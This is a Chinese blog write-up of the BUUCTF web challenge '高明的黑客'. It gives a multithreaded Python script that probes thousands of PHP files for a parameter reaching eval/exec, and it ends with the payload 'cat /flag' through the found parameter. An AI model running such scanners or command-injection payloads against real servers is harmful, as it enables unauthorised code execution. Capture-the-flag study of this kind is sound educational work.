BUUCTF WEB 高明的黑客1

这题也没啥好说的,就是硬跑脚本
打开场景,就是让你下www.tar.gz
解压好了,两千多个PHP,execuse me???????
打开看看,每个PHP文件里面都有eval,exec之类的,但也不是全部有用,事实上,跑完就只有一个参数有用
就是通过脚本,不断地去试,也没啥好说的,两种做法:
1.把文件全都下到本地,自己开个环境,把最大连接数调大些,自己跑,找到参数,再去利用
2.直接用靶场跑,我测试了一下,BUUCTF能承受的最大的连接数在20左右,我把网上大佬在本地跑的脚本改了一下,加了几个sleep()
防止url连接没释放掉触发429,运行速度在五分钟左右,比大佬在本地跑的4分中也慢不了多少

import os
import requests
import re
import threading
import time

print('开始时间:  ' + time.asctime(time.localtime(time.time())))  # 只是一个简单的时间函数,看起来更漂亮罢了
s1 = threading.Semaphore(15)  # 这儿设置最大的线程数
filePath = r"D:\wamp\www\src"
os.chdir(filePath)  # 改变当前的路径,这个还是不太懂
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)  # 得到该目录下所有文件的名称
session = requests.Session()  # 得到session()为之后的实现代码回显得取创造条件
session.keep_alive = False  # 设置连接活跃状态为False


def get_content(file):
    s1.acquire()  # 好像与锁什么的相关,但是还是不太懂,多线程开启
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 更好看,同时可以对比不加线程和加线程的时间对比
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'xxxxxx';"
    for n in posts:
        data[n] = "echo 'xxxxxx';"
    url = 'http://4e199aac-a3a6-4fc4-bf08-7d9b7fbef682.node4.buuoj.cn:81/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    time.sleep(2)
    req.encoding = 'utf-8'
    content = req.text
    print(content)
    if "xxxxxx" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
            content = req.text
            req.close()  # 关闭请求  释放内存
            time.sleep(2)
            if "xxxxxx" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'xxxxxx';"})
                content = req.text
                req.close()  # 关闭请求  释放内存
                time.sleep(2)
                if "xxxxxx" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()  # 对应于之前的多线程打开


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    t.start()

最终payload:xk0SzyKwfzw.php?Efa5BVG=cat /flag
参考视频连接:https://www.bilibili.com/video/BV1zg411w784?spm_id_from=333.999.0.0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值